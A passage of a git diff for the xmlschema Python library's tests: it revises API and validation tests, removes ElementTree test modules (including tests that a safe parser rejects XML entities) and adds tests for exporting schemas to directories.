str(ctx.exception)) + def test_from_json_api(self): json_data = to_json(self.col_xml_file, lazy=True) + root_tag = '{http://example.com/ns/collection}collection' + with self.assertRaises(TypeError) as ctx: - from_json(json_data, self.col_xsd_file) - self.assertIn("invalid type for argument 'schema'", str(ctx.exception)) + from_json(json_data) + self.assertIn("a path is required for building a dummy schema", str(ctx.exception)) + + collection = from_json(json_data, schema=self.col_xsd_file) + self.assertEqual(collection.tag, root_tag) col_schema = XMLSchema10(self.col_xsd_file) collection = from_json(json_data, schema=col_schema) - self.assertEqual(collection.tag, '{http://example.com/ns/collection}collection') + self.assertEqual(collection.tag, root_tag) col_schema = XMLSchema10(self.col_xsd_file) collection = from_json(json_data, col_schema, json_options={'parse_float': Decimal}) - self.assertEqual(collection.tag, '{http://example.com/ns/collection}collection') + self.assertEqual(collection.tag, root_tag) + + collection = from_json(json_data, path=root_tag) + self.assertEqual(collection.tag, root_tag) def test_get_context_with_schema(self): source, schema = get_context(self.col_xml_file) @@ -142,14 +197,14 @@ def test_get_context_without_schema(self): source, schema = get_context(xml_data) self.assertIsInstance(source, XMLResource) - self.assertIs(schema, XMLSchema10.meta_schema) + self.assertIsNot(schema, XMLSchema10.meta_schema) self.assertEqual(source.root.tag, 'text') self.assertTrue(schema.is_valid(source)) with self.assertRaises(ValueError) as ctx: get_context('') self.assertEqual(str(ctx.exception), - "no schema can be retrieved for the provided XML data") + "cannot get a schema for XML data, provide a schema argument") source, schema = get_context('', dummy_schema=True) self.assertEqual(source.root.tag, 'empty') @@ -157,7 +212,7 @@ def test_get_context_without_schema(self): col_xml_resource = XMLResource(self.col_xml_file) col_xml_resource.root.attrib.clear() - self.assertEqual(col_xml_resource.get_locations(), []) + self.assertEqual(col_xml_resource.get_locations(root_only=False), []) source, schema = get_context(col_xml_resource, self.col_xsd_file) self.assertIs(source, col_xml_resource) @@ -180,6 +235,38 @@ def test_get_context_without_schema(self): self.assertIs(schema, vh_schema) self.assertTrue(schema.is_valid(source)) + def test_use_location_hints_argument__issue_324(self): + xsd_file = casepath('issues/issue_324/issue_324a.xsd') + schema = XMLSchema10(xsd_file) + + xml_file = casepath('issues/issue_324/issue_324-valid.xml') + self.assertIsNone(validate(xml_file)) + + with self.assertRaises(XMLSchemaValidationError) as ctx: + validate(xml_file, schema=schema) + self.assertIn('unavailable namespace', str(ctx.exception)) + + with self.assertRaises(ValueError) as ctx: + validate(xml_file, use_location_hints=False) + self.assertIn('provide a schema argument', str(ctx.exception)) + + xml_file = casepath('issues/issue_324/issue_324-invalid.xml') + with self.assertRaises(XMLSchemaParseError) as ctx: + validate(xml_file) + self.assertIn('unmatched namespace', str(ctx.exception)) + + with self.assertRaises(XMLSchemaValidationError) as ctx: + validate(xml_file, schema=schema) + self.assertIn('unavailable namespace', str(ctx.exception)) + + with self.assertRaises(ValueError) as ctx: + validate(xml_file, use_location_hints=False) + self.assertIn('provide a schema argument', str(ctx.exception)) + + with self.assertRaises(ValueError) as ctx: + XmlDocument(self.col_xml_file, use_location_hints=False) + self.assertIn('provide a schema argument', str(ctx.exception)) + def test_xml_document_init_with_schema(self): xml_document = XmlDocument(self.vh_xml_file) self.assertEqual(os.path.basename(xml_document.url), 'vehicles.xml') @@ -216,12 +303,13 @@ def test_xml_document_init_with_schema(self): with self.assertRaises(ValueError) as ctx: XmlDocument(xml_file, validation='foo') - self.assertEqual(str(ctx.exception), "'foo': not a validation mode") + self.assertEqual(str(ctx.exception), "'foo' is not a validation mode") def test_xml_document_init_without_schema(self): with self.assertRaises(ValueError) as ctx: XmlDocument('') - self.assertIn('no schema can be retrieved for the XML resource', str(ctx.exception)) + self.assertIn('cannot get a schema for XML data, provide a schema argument', + str(ctx.exception)) xml_document = XmlDocument('', validation='skip') self.assertIsNone(xml_document.schema) @@ -275,12 +363,15 @@ def test_xml_document_decode_with_schema(self): def test_xml_document_decode_without_schema(self): xml_document = XmlDocument('', validation='skip') - self.assertIsNone(xml_document.decode()) + self.assertIsNone(xml_document.decode(strip_namespaces=True)) + self.assertEqual(xml_document.decode(), {'@xmlns:x': 'ns'}) xml_document = XmlDocument( '10', validation='skip' ) - self.assertEqual(xml_document.decode(), {'@a': 'true', 'b1': ['10'], 'b2': [None]}) + self.assertEqual(xml_document.decode(), { + '@xmlns:x': 'ns', '@a': 'true', 'b1': ['10'], 'b2': [None] + }) def test_xml_document_decode_with_xsi_type(self): xml_data = ' + + """) + self.assertTrue(is_valid(valid_xsd)) + + invalid_xsd = dedent("""\ + + + """) + self.assertFalse(is_valid(invalid_xsd)) + + obj = to_dict(valid_xsd) + self.assertDictEqual(obj, { + '@xmlns:xs': 'http://www.w3.org/2001/XMLSchema', + '@targetNamespace': 'http://example.com/ns/collection', + '@finalDefault': [], + '@blockDefault': [], + '@attributeFormDefault': 'unqualified', + '@elementFormDefault': 'unqualified', + 'xs:element': {'@name': 'collection', '@abstract': False, '@nillable': False}}) + + root = XMLSchema10.meta_schema.encode(obj) + self.assertTrue(hasattr(root, 'tag')) + self.assertEqual(root.tag, '{http://www.w3.org/2001/XMLSchema}schema') + if __name__ == '__main__': import platform diff --git a/tests/test_etree.py b/tests/test_etree.py deleted file mode 100644 index 924b9b6..0000000 --- a/tests/test_etree.py +++ /dev/null @@ -1,345 +0,0 @@ -#!/usr/bin/env python -# -# Copyright (c), 2018-2020, SISSA (International School for Advanced Studies). -# All rights reserved. -# This file is distributed under the terms of the MIT License. -# See the file 'LICENSE' in the root directory of the present -# distribution, or http://opensource.org/licenses/MIT. -# -# @author Davide Brunato -# -import unittest -import os -import platform - -try: - import lxml.etree as lxml_etree -except ImportError: - lxml_etree = None - -from xmlschema.etree import ElementTree, PyElementTree, ParseError, \ - SafeXMLParser, etree_tostring -from xmlschema.helpers import etree_getpath, etree_iter_location_hints, \ - etree_iterpath, prune_etree -from xmlschema.testing import etree_elements_assert_equal - -TEST_CASES_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'test_cases/') - - -def casepath(relative_path): - return os.path.join(TEST_CASES_DIR, relative_path) - - -class TestElementTree(unittest.TestCase): - - def test_element_string_serialization(self): - self.assertRaises(TypeError, etree_tostring, '') - - elem = ElementTree.Element('element') - self.assertEqual(etree_tostring(elem), '') - self.assertEqual(etree_tostring(elem, xml_declaration=True), '') - - self.assertEqual(etree_tostring(elem, encoding='us-ascii'), b'') - self.assertEqual(etree_tostring(elem, encoding='us-ascii', indent=' '), - b' ') - self.assertEqual(etree_tostring(elem, encoding='us-ascii', xml_declaration=True), - b'\n') - - self.assertEqual(etree_tostring(elem, encoding='ascii'), - b"\n") - self.assertEqual(etree_tostring(elem, encoding='ascii', xml_declaration=False), - b'') - self.assertEqual(etree_tostring(elem, encoding='utf-8'), b'') - self.assertEqual(etree_tostring(elem, encoding='utf-8', xml_declaration=True), - b'\n') - - self.assertEqual(etree_tostring(elem, encoding='iso-8859-1'), - b"\n") - self.assertEqual(etree_tostring(elem, encoding='iso-8859-1', xml_declaration=False), - b"") - - self.assertEqual(etree_tostring(elem, method='html'), '') - self.assertEqual(etree_tostring(elem, method='text'), '') - - root = ElementTree.XML('\n' - ' text1\n' - ' text2\n' - '') - self.assertEqual(etree_tostring(root, method='text'), '\n text1\n text2') - - def test_py_element_string_serialization(self): - elem = PyElementTree.Element('element') - self.assertEqual(etree_tostring(elem), '') - self.assertEqual(etree_tostring(elem, xml_declaration=True), '') - - self.assertEqual(etree_tostring(elem, encoding='us-ascii'), b'') - self.assertEqual(etree_tostring(elem, encoding='us-ascii', xml_declaration=True), - b'\n') - - self.assertEqual(etree_tostring(elem, encoding='ascii'), - b"\n") - self.assertEqual(etree_tostring(elem, encoding='ascii', xml_declaration=False), - b'') - self.assertEqual(etree_tostring(elem, encoding='utf-8'), b'') - self.assertEqual(etree_tostring(elem, encoding='utf-8', xml_declaration=True), - b'\n') - - self.assertEqual(etree_tostring(elem, encoding='iso-8859-1'), - b"\n") - self.assertEqual(etree_tostring(elem, encoding='iso-8859-1', xml_declaration=False), - b"") - - self.assertEqual(etree_tostring(elem, method='html'), '') - self.assertEqual(etree_tostring(elem, method='text'), '') - - root = PyElementTree.XML('\n' - ' text1\n' - ' text2\n' - '') - self.assertEqual(etree_tostring(root, method='text'), '\n text1\n text2') - - @unittest.skipIf(lxml_etree is None, 'lxml is not installed ...') - def test_lxml_element_string_serialization(self): - elem = lxml_etree.Element('element') - self.assertEqual(etree_tostring(elem), '') - self.assertEqual(etree_tostring(elem, xml_declaration=True), '') - - self.assertEqual(etree_tostring(elem, encoding='us-ascii'), b'') - self.assertEqual(etree_tostring(elem, encoding='us-ascii', xml_declaration=True), - b'\n') - - self.assertEqual(etree_tostring(elem, encoding='ascii'), b'') - self.assertEqual(etree_tostring(elem, encoding='ascii', xml_declaration=True), - b'\n') - - self.assertEqual(etree_tostring(elem, encoding='utf-8'), b'') - self.assertEqual(etree_tostring(elem, encoding='utf-8', xml_declaration=True), - b'\n') - - self.assertEqual(etree_tostring(elem, encoding='iso-8859-1'), - b"\n") - self.assertEqual(etree_tostring(elem, encoding='iso-8859-1', xml_declaration=False), - b"") - - self.assertEqual(etree_tostring(elem, method='html'), '') - self.assertEqual(etree_tostring(elem, method='text'), '') - - root = lxml_etree.XML('\n' - ' text1\n' - ' text2\n' - '') - self.assertEqual(etree_tostring(root, method='text'), '\n text1\n text2') - - def test_defuse_xml_entities(self): - xml_file = casepath('resources/with_entity.xml') - - elem = ElementTree.parse(xml_file).getroot() - self.assertEqual(elem.text, 'abc') - - parser = SafeXMLParser(target=PyElementTree.TreeBuilder()) - with self.assertRaises(PyElementTree.ParseError) as ctx: - ElementTree.parse(xml_file, parser=parser) - self.assertEqual("Entities are forbidden (entity_name='e')", str(ctx.exception)) - - def test_defuse_xml_external_entities(self): - xml_file = casepath('resources/external_entity.xml') - - with self.assertRaises(ParseError) as ctx: - ElementTree.parse(xml_file) - self.assertIn("undefined entity &ee", str(ctx.exception)) - - parser = SafeXMLParser(target=PyElementTree.TreeBuilder()) - with self.assertRaises(PyElementTree.ParseError) as ctx: - ElementTree.parse(xml_file, parser=parser) - self.assertEqual("Entities are forbidden (entity_name='ee')", str(ctx.exception)) - - def test_defuse_xml_unused_external_entities(self): - xml_file = casepath('resources/unused_external_entity.xml') - - elem = ElementTree.parse(xml_file).getroot() - self.assertEqual(elem.text, 'abc') - - parser = SafeXMLParser(target=PyElementTree.TreeBuilder()) - with self.assertRaises(PyElementTree.ParseError) as ctx: - ElementTree.parse(xml_file, parser=parser) - self.assertEqual("Entities are forbidden (entity_name='ee')", str(ctx.exception)) - - def test_defuse_xml_unparsed_entities(self): - xml_file = casepath('resources/unparsed_entity.xml') - - parser = SafeXMLParser(target=PyElementTree.TreeBuilder()) - with self.assertRaises(PyElementTree.ParseError) as ctx: - ElementTree.parse(xml_file, parser=parser) - self.assertEqual("Unparsed entities are forbidden (entity_name='logo_file')", - str(ctx.exception)) - - def test_defuse_xml_unused_unparsed_entities(self): - xml_file = casepath('resources/unused_unparsed_entity.xml') - - elem = ElementTree.parse(xml_file).getroot() - self.assertIsNone(elem.text) - - parser = SafeXMLParser(target=PyElementTree.TreeBuilder()) - with self.assertRaises(PyElementTree.ParseError) as ctx: - ElementTree.parse(xml_file, parser=parser) - self.assertEqual("Unparsed entities are forbidden (entity_name='logo_file')", - str(ctx.exception)) - - def test_etree_iterpath(self): - root = ElementTree.XML('') - - items = list(etree_iterpath(root)) - self.assertListEqual(items, [ - (root, '.'), (root[0], './b1'), (root[0][0], './b1/c1'), - (root[0][1], './b1/c2'), (root[1], './b2'), (root[2], './b3'), - (root[2][0], './b3/c3') - ]) - - self.assertListEqual(items, list(etree_iterpath(root, tag='*'))) - self.assertListEqual(items, list(etree_iterpath(root, path=''))) - self.assertListEqual(items, list(etree_iterpath(root, path=None))) - - self.assertListEqual(list(etree_iterpath(root, path='/')), [ - (root, '/'), (root[0], '/b1'), (root[0][0], '/b1/c1'), - (root[0][1], '/b1/c2'), (root[1], '/b2'), (root[2], '/b3'), - (root[2][0], '/b3/c3') - ]) - - def test_etree_getpath(self): - root = ElementTree.XML('') - - self.assertEqual(etree_getpath(root, root), '.') - self.assertEqual(etree_getpath(root[0], root), './b1') - self.assertEqual(etree_getpath(root[2][0], root), './b3/c3') - self.assertEqual(etree_getpath(root[0], root, parent_path=True), '.') - self.assertEqual(etree_getpath(root[2][0], root, parent_path=True), './b3') - - self.assertIsNone(etree_getpath(root, root[0])) - self.assertIsNone(etree_getpath(root[0], root[1])) - self.assertIsNone(etree_getpath(root, root, parent_path=True)) - - def test_etree_elements_assert_equal(self): - e1 = ElementTree.XML('text\n\n') - e2 = ElementTree.XML('text\n\n') - - self.assertIsNone(etree_elements_assert_equal(e1, e1)) - self.assertIsNone(etree_elements_assert_equal(e1, e2)) - - if lxml_etree is not None: - e2 = lxml_etree.XML('text\n\n') - self.assertIsNone(etree_elements_assert_equal(e1, e2)) - - e2 = ElementTree.XML('text\n\n') - with self.assertRaises(AssertionError) as ctx: - etree_elements_assert_equal(e1, e2) - self.assertIn("has lesser children than text \n\n') - self.assertIsNone(etree_elements_assert_equal(e1, e2, strict=False)) - with self.assertRaises(AssertionError) as ctx: - etree_elements_assert_equal(e1, e2) - self.assertIn("texts differ: 'text' != 'text '", str(ctx.exception)) - - e2 = ElementTree.XML('text\ntext\n') - with self.assertRaises(AssertionError) as ctx: - etree_elements_assert_equal(e1, e2, strict=False) - self.assertIn("texts differ: None != 'text'", str(ctx.exception)) - - e2 = ElementTree.XML('text\n') - self.assertIsNone(etree_elements_assert_equal(e1, e2)) - - e2 = ElementTree.XML('text\n') - self.assertIsNone(etree_elements_assert_equal(e1, e2, strict=False)) - with self.assertRaises(AssertionError) as ctx: - etree_elements_assert_equal(e1, e2) - self.assertIn(r"tails differ: '\n' != None", str(ctx.exception)) - - e2 = ElementTree.XML('text\n\n') - self.assertIsNone(etree_elements_assert_equal(e1, e2, strict=False)) - with self.assertRaises(AssertionError) as ctx: - etree_elements_assert_equal(e1, e2) - self.assertIn("attributes differ: {'a': '1'} != {'a': '1 '}", str(ctx.exception)) - - e2 = ElementTree.XML('text\n\n') - with self.assertRaises(AssertionError) as ctx: - etree_elements_assert_equal(e1, e2, strict=False) - self.assertIn("attribute 'a' values differ: '1' != '2'", str(ctx.exception)) - - e2 = ElementTree.XML('text\n\n') - self.assertIsNone(etree_elements_assert_equal(e1, e2)) - self.assertIsNone(etree_elements_assert_equal(e1, e2, skip_comments=False)) - - if lxml_etree is not None: - e2 = lxml_etree.XML('text\n\n') - self.assertIsNone(etree_elements_assert_equal(e1, e2)) - - e1 = ElementTree.XML('+1') - e2 = ElementTree.XML('+ 1 ') - self.assertIsNone(etree_elements_assert_equal(e1, e2, strict=False)) - - e1 = ElementTree.XML('+1') - e2 = ElementTree.XML('+1.1 ') - - with self.assertRaises(AssertionError) as ctx: - etree_elements_assert_equal(e1, e2, strict=False) - self.assertIn("texts differ: '+1' != '+1.1 '", str(ctx.exception)) - - e1 = ElementTree.XML('1') - e2 = ElementTree.XML('true ') - self.assertIsNone(etree_elements_assert_equal(e1, e2, strict=False)) - self.assertIsNone(etree_elements_assert_equal(e2, e1, strict=False)) - - e2 = ElementTree.XML('false ') - with self.assertRaises(AssertionError) as ctx: - etree_elements_assert_equal(e1, e2, strict=False) - self.assertIn("texts differ: '1' != 'false '", str(ctx.exception)) - - e1 = ElementTree.XML(' 0') - self.assertIsNone(etree_elements_assert_equal(e1, e2, strict=False)) - self.assertIsNone(etree_elements_assert_equal(e2, e1, strict=False)) - - e2 = ElementTree.XML('true ') - with self.assertRaises(AssertionError) as ctx: - etree_elements_assert_equal(e1, e2, strict=False) - self.assertIn("texts differ: ' 0' != 'true '", str(ctx.exception)) - - e1 = ElementTree.XML('text\n\n') - e2 = ElementTree.XML('texttail\n\n') - - with self.assertRaises(AssertionError) as ctx: - etree_elements_assert_equal(e1, e2, strict=False) - self.assertIn("tails differ: None != 'tail'", str(ctx.exception)) - - def test_iter_location_hints(self): - elem = ElementTree.XML( - """""" - ) - self.assertListEqual( - list(etree_iter_location_hints(elem)), - [('http://example.com/xmlschema/ns-A', 'import-case4a.xsd')] - ) - elem = ElementTree.XML( - """""" - ) - self.assertListEqual( - list(etree_iter_location_hints(elem)), [('', 'schema.xsd')] - ) - - def test_prune_etree(self): - root = ElementTree.XML('') - prune_etree(root, selector=lambda x: x.tag == 'b1') - self.assertListEqual([e.tag for e in root.iter()], ['a', 'b2', 'b3', 'c3']) - - root = ElementTree.XML('') - prune_etree(root, selector=lambda x: x.tag.startswith('c')) - self.assertListEqual([e.tag for e in root.iter()], ['a', 'b1', 'b2', 'b3']) - - -if __name__ == '__main__': - header_template = "ElementTree tests for xmlschema with Python {} on {}" - header = header_template.format(platform.python_version(), platform.platform()) - print('{0}\n{1}\n{0}'.format("*" * len(header), header)) - - unittest.main() diff --git a/tests/test_etree_import.py b/tests/test_etree_import.py deleted file mode 100644 index 582e6e4..0000000 --- a/tests/test_etree_import.py +++ /dev/null @@ -1,107 +0,0 @@ -#!/usr/bin/env python -# -# Copyright (c), 2018-2020, SISSA (International School for Advanced Studies). -# All rights reserved. -# This file is distributed under the terms of the MIT License. -# See the file 'LICENSE' in the root directory of the present -# distribution, or http://opensource.org/licenses/MIT. -# -# @author Davide Brunato -# -import unittest -import os -import sys -import importlib -import subprocess -import platform - - -def is_element_tree_imported(): - return '_elementtree' in sys.modules or 'xml.etree.ElementTree' in sys.modules - - -@unittest.skipUnless(platform.python_implementation() == 'CPython', "requires CPython") -class TestElementTreeImport(unittest.TestCase): - """ - Test ElementTree imports using external script or with single-run import tests. - For running a single-run import test use one of these commands: - - python -m unittest tests/test_etree_import.py -k - python tests/test_etree_import.py -k - - The pattern must match only one test method to be effective, because the import - test can be executed once for each run. - - Example: - - python -m unittest tests/test_etree_import.py -k before - - """ - - @unittest.skipUnless(platform.system() == 'Linux', "requires Linux") - def test_element_tree_import_script(self): - test_dir = os.path.dirname(__file__) or '.' - - cmd = [sys.executable, os.path.join(test_dir, 'check_etree_import.py')] - process = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - - stderr = process.stderr.decode('utf-8') - self.assertTrue("ModuleNotFoundError" not in stderr, - msg="Test script fails because a package is missing:\n\n{}".format(stderr)) - - self.assertIn("\nTest OK:", process.stdout.decode('utf-8'), - msg="Wrong import of ElementTree after xmlschema:\n\n{}".format(stderr)) - - cmd.append('--before') - process = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - self.assertTrue("\nTest OK:" in process.stdout.decode('utf-8'), - msg="Wrong import of ElementTree before xmlschema:\n\n{}".format(stderr)) - - def test_import_etree_after(self): - if is_element_tree_imported(): - return # skip if ElementTree is already imported - - xmlschema_etree = importlib.import_module('xmlschema.etree') - ElementTree = importlib.import_module('xml.etree.ElementTree') - - self.assertIsNot(ElementTree.Element, ElementTree._Element_Py, - msg="cElementTree not available!") - elem = xmlschema_etree.PyElementTree.Element('element') - self.assertEqual(xmlschema_etree.etree_tostring(elem), '') - self.assertIs(importlib.import_module('xml.etree.ElementTree'), ElementTree) - self.assertIs(importlib.import_module('xml.etree').ElementTree, ElementTree) - self.assertIs(xmlschema_etree.ElementTree, ElementTree) - - def test_import_etree_before(self): - if is_element_tree_imported(): - return # skip if ElementTree is already imported - - ElementTree = importlib.import_module('xml.etree.ElementTree') - xmlschema_etree = importlib.import_module('xmlschema.etree') - - self.assertIsNot(ElementTree.Element, ElementTree._Element_Py, - msg="cElementTree not available!") - elem = xmlschema_etree.PyElementTree.Element('element') - self.assertEqual(xmlschema_etree.etree_tostring(elem), '') - self.assertIs(importlib.import_module('xml.etree.ElementTree'), ElementTree) - self.assertIs(importlib.import_module('xml.etree').ElementTree, ElementTree) - self.assertIs(xmlschema_etree.ElementTree, ElementTree) - - def test_inconsistent_etree(self): - if is_element_tree_imported(): - return # skip if ElementTree is already imported - - importlib.import_module('xml.etree.ElementTree') - sys.modules.pop('xml.etree.ElementTree') - - with self.assertRaises(RuntimeError) as ctx: - importlib.import_module('xmlschema') - self.assertIn('Inconsistent status for ElementTree module', str(ctx.exception)) - - -if __name__ == '__main__': - header_template = "ElementTree import tests for xmlschema with Python {} on {}" - header = header_template.format(platform.python_version(), platform.platform()) - print('{0}\n{1}\n{0}'.format("*" * len(header), header)) - - unittest.main() diff --git a/tests/test_exports.py b/tests/test_exports.py new file mode 100644 index 0000000..0210d4f --- /dev/null +++ b/tests/test_exports.py @@ -0,0 +1,376 @@ +#!/usr/bin/env python +# +# Copyright (c), 2016-2024, SISSA (International School for Advanced Studies). +# All rights reserved. +# This file is distributed under the terms of the MIT License. +# See the file 'LICENSE' in the root directory of the present +# distribution, or http://opensource.org/licenses/MIT. +# +# @author Davide Brunato +# +import unittest +import filecmp +import glob +import os +import re +import pathlib +import platform +import tempfile +import warnings + +from xmlschema import XMLSchema10, XMLSchema11 +from xmlschema.exports import download_schemas +from xmlschema.testing import SKIP_REMOTE_TESTS + + +TEST_CASES_DIR = str(pathlib.Path(__file__).absolute().parent.joinpath('test_cases')) + + +def casepath(relative_path): + return str(pathlib.Path(TEST_CASES_DIR).joinpath(relative_path)) + + +class TestExports(unittest.TestCase): + + schema_class = XMLSchema10 + + @classmethod + def setUpClass(cls): + cls.vh_dir = casepath('examples/vehicles') + cls.vh_xsd_file = vh_xsd_file = casepath('examples/vehicles/vehicles.xsd') + cls.vh_xml_file = casepath('examples/vehicles/vehicles.xml') + cls.vh_schema = cls.schema_class(vh_xsd_file) + + def test_export_errors__issue_187(self): + with self.assertRaises(ValueError) as ctx: + self.vh_schema.export(target=self.vh_dir) + + self.assertIn("target directory", str(ctx.exception)) + self.assertIn("is not empty", str(ctx.exception)) + + with self.assertRaises(ValueError) as ctx: + self.vh_schema.export(target=self.vh_xsd_file) + + self.assertIn("target", str(ctx.exception)) + self.assertIn("is not a directory", str(ctx.exception)) + + with self.assertRaises(ValueError) as ctx: + self.vh_schema.export(target=self.vh_xsd_file + '/target') + + self.assertIn("target parent", str(ctx.exception)) + self.assertIn("is not a directory", str(ctx.exception)) + + with tempfile.TemporaryDirectory() as dirname: + with self.assertRaises(ValueError) as ctx: + self.vh_schema.export(target=dirname + 'subdir/target') + + self.assertIn("target parent directory", str(ctx.exception)) + self.assertIn("does not exist", str(ctx.exception)) + + def test_export_same_directory__issue_187(self): + with tempfile.TemporaryDirectory() as dirname: + self.vh_schema.export(target=dirname) + + for filename in os.listdir(dirname): + with pathlib.Path(dirname).joinpath(filename).open() as fp: + exported_schema = fp.read() + with pathlib.Path(self.vh_dir).joinpath(filename).open() as fp: + original_schema = fp.read() + + if platform.system() == 'Windows': + exported_schema = re.sub(r'\s+', '', exported_schema) + original_schema = re.sub(r'\s+', '', original_schema) + + self.assertEqual(exported_schema, original_schema) + + self.assertFalse(os.path.isdir(dirname)) + + def test_export_another_directory__issue_187(self): + vh_schema_file = casepath('issues/issue_187/issue_187_1.xsd') + vh_schema = self.schema_class(vh_schema_file) + + with tempfile.TemporaryDirectory() as dirname: + vh_schema.export(target=dirname) + + path = pathlib.Path(dirname).joinpath('examples/vehicles/*.xsd') + for filename in glob.iglob(pathname=str(path)): + with pathlib.Path(dirname).joinpath(filename).open() as fp: + exported_schema = fp.read() + + basename = os.path.basename(filename) + with pathlib.Path(self.vh_dir).joinpath(basename).open() as fp: + original_schema = fp.read() + + if platform.system() == 'Windows': + exported_schema = re.sub(r'\s+', '', exported_schema) + original_schema = re.sub(r'\s+', '', original_schema) + + self.assertEqual(exported_schema, original_schema) + + with pathlib.Path(dirname).joinpath('issue_187_1.xsd').open() as fp: + exported_schema = fp.read() + with open(vh_schema_file) as fp: + original_schema = fp.read() + + if platform.system() == 'Windows': + exported_schema = re.sub(r'\s+', '', exported_schema) + original_schema = re.sub(r'\s+', '', original_schema) + + self.assertNotEqual(exported_schema, original_schema) + + if platform.system() != 'Windows': + repl = str(pathlib.Path('file').joinpath(str(TEST_CASES_DIR).lstrip('/'))) + self.assertEqual( + exported_schema, + original_schema.replace('../..', repl) + ) + + schema_file = pathlib.Path(dirname).joinpath('issue_187_1.xsd') + schema = self.schema_class(schema_file) + ns_schemas = schema.maps.namespaces['http://example.com/vehicles'] + + self.assertEqual(len(ns_schemas), 4) + self.assertEqual(ns_schemas[0].name, 'issue_187_1.xsd') + self.assertEqual(ns_schemas[1].name, 'cars.xsd') + self.assertEqual(ns_schemas[2].name, 'types.xsd') + self.assertEqual(ns_schemas[3].name, 'bikes.xsd') + + self.assertFalse(os.path.isdir(dirname)) + + @unittest.skipIf(SKIP_REMOTE_TESTS, "Remote networks are not accessible.") + def test_export_remote__issue_187(self): + vh_schema_file = casepath('issues/issue_187/issue_187_2.xsd') + vh_schema = self.schema_class(vh_schema_file) + + with tempfile.TemporaryDirectory() as dirname: + vh_schema.export(target=dirname) + + with pathlib.Path(dirname).joinpath('issue_187_2.xsd').open() as fp: + exported_schema = fp.read() + with open(vh_schema_file) as fp: + original_schema = fp.read() + + if platform.system() == 'Windows': + exported_schema = re.sub(r'\s+', '', exported_schema) + original_schema = re.sub(r'\s+', '', original_schema) + + self.assertEqual(exported_schema, original_schema) + + self.assertFalse(os.path.isdir(dirname)) + + with tempfile.TemporaryDirectory() as dirname: + vh_schema.export(target=dirname, save_remote=True) + path = pathlib.Path(dirname).joinpath('brunato/xmlschema/master/tests/test_cases/' + 'examples/vehicles/*.xsd') + + for filename in glob.iglob(pathname=str(path)): + with pathlib.Path(dirname).joinpath(filename).open() as fp: + exported_schema = fp.read() + + basename = os.path.basename(filename) + with pathlib.Path(self.vh_dir).joinpath(basename).open() as fp: + original_schema = fp.read() + self.assertEqual(exported_schema, original_schema) + + with pathlib.Path(dirname).joinpath('issue_187_2.xsd').open() as fp: + exported_schema = fp.read() + with open(vh_schema_file) as fp: + original_schema = fp.read() + + if platform.system() == 'Windows': + exported_schema = re.sub(r'\s+', '', exported_schema) + original_schema = re.sub(r'\s+', '', original_schema) + + self.assertNotEqual(exported_schema, original_schema) + self.assertNotIn('https://', exported_schema) + self.assertEqual( + exported_schema, + original_schema.replace('https://raw.githubusercontent.com', + 'https/raw.githubusercontent.com') + ) + + schema_file = pathlib.Path(dirname).joinpath('issue_187_2.xsd') + schema = self.schema_class(schema_file) + ns_schemas = schema.maps.namespaces['http://example.com/vehicles'] + + self.assertEqual(len(ns_schemas), 4) + self.assertEqual(ns_schemas[0].name, 'issue_187_2.xsd') + self.assertEqual(ns_schemas[1].name, 'cars.xsd') + self.assertEqual(ns_schemas[2].name, 'types.xsd') + self.assertEqual(ns_schemas[3].name, 'bikes.xsd') + + self.assertFalse(os.path.isdir(dirname)) + + # Test with DEBUG logging level + with tempfile.TemporaryDirectory() as dirname: + with self.assertLogs('xmlschema', level='DEBUG') as ctx: + vh_schema.export(target=dirname, save_remote=True, loglevel='DEBUG') + self.assertGreater(len(ctx.output), 0) + self.assertTrue(any('Write modified ' in line for line in ctx.output)) + self.assertTrue(any('Write unchanged ' in line for line in ctx.output)) + + self.assertFalse(os.path.isdir(dirname)) + + @unittest.skipIf(platform.system() == 'Windows', 'skip, Windows systems save with ') + def test_export_other_encoding(self): + schema_file = casepath('examples/menù/menù.xsd') + schema_ascii_file = casepath('examples/menù/menù-ascii.xsd') + schema_cp1252_file = casepath('examples/menù/menù-cp1252.xsd') + + schema = self.schema_class(schema_file) + with tempfile.TemporaryDirectory() as dirname: + schema.export(target=dirname) + exported_schema = pathlib.Path(dirname).joinpath('menù.xsd') + self.assertTrue(filecmp.cmp(schema_file, exported_schema)) + self.assertFalse(filecmp.cmp(schema_ascii_file, exported_schema)) + self.assertFalse(filecmp.cmp(schema_cp1252_file, exported_schema)) + + schema = self.schema_class(schema_ascii_file) + with tempfile.TemporaryDirectory() as dirname: + schema.export(target=dirname) + exported_schema = pathlib.Path(dirname).joinpath('menù-ascii.xsd') + self.assertFalse(filecmp.cmp(schema_file, exported_schema)) + self.assertTrue(filecmp.cmp(schema_ascii_file, exported_schema)) + self.assertFalse(filecmp.cmp(schema_cp1252_file, exported_schema)) + + schema = self.schema_class(schema_cp1252_file) + with tempfile.TemporaryDirectory() as dirname: + schema.export(target=dirname) + exported_schema = pathlib.Path(dirname).joinpath('menù-cp1252.xsd') + self.assertFalse(filecmp.cmp(schema_file, exported_schema)) + self.assertFalse(filecmp.cmp(schema_ascii_file, exported_schema)) + self.assertTrue(filecmp.cmp(schema_cp1252_file, exported_schema)) + + def test_export_more_remote_imports__issue_362(self): + schema_file = casepath('issues/issue_362/issue_362_1.xsd') + with warnings.catch_warnings(record=True): + warnings.simplefilter("always") + schema = self.schema_class(schema_file) + + self.assertIn('{http://xmlschema.test/tns1}root', schema.maps.elements) + self.assertIn('{http://xmlschema.test/tns1}item1', schema.maps.elements) + self.assertIn('{http://xmlschema.test/tns2}item2', schema.maps.elements) + self.assertIn('{http://xmlschema.test/tns2}item3', schema.maps.elements) + + with tempfile.TemporaryDirectory() as dirname: + schema.export(target=dirname) + + exported_files = { + str(x.relative_to(dirname)).replace('\\', '/') + for x in pathlib.Path(dirname).glob('**/*.xsd') + } + self.assertSetEqual( + exported_files, + {'issue_362_1.xsd', 'dir2/issue_362_2.xsd', 'dir1/issue_362_1.xsd', + 'dir1/dir2/issue_362_2.xsd', 'issue_362_1.xsd', 'dir2/issue_362_2.xsd', + 'dir1/issue_362_1.xsd', 'dir1/dir2/issue_362_2.xsd'} + ) + + schema_file = pathlib.Path(dirname).joinpath('issue_362_1.xsd') + schema = self.schema_class(schema_file) + self.assertIn('{http://xmlschema.test/tns1}root', schema.maps.elements) + self.assertIn('{http://xmlschema.test/tns1}item1', schema.maps.elements) + 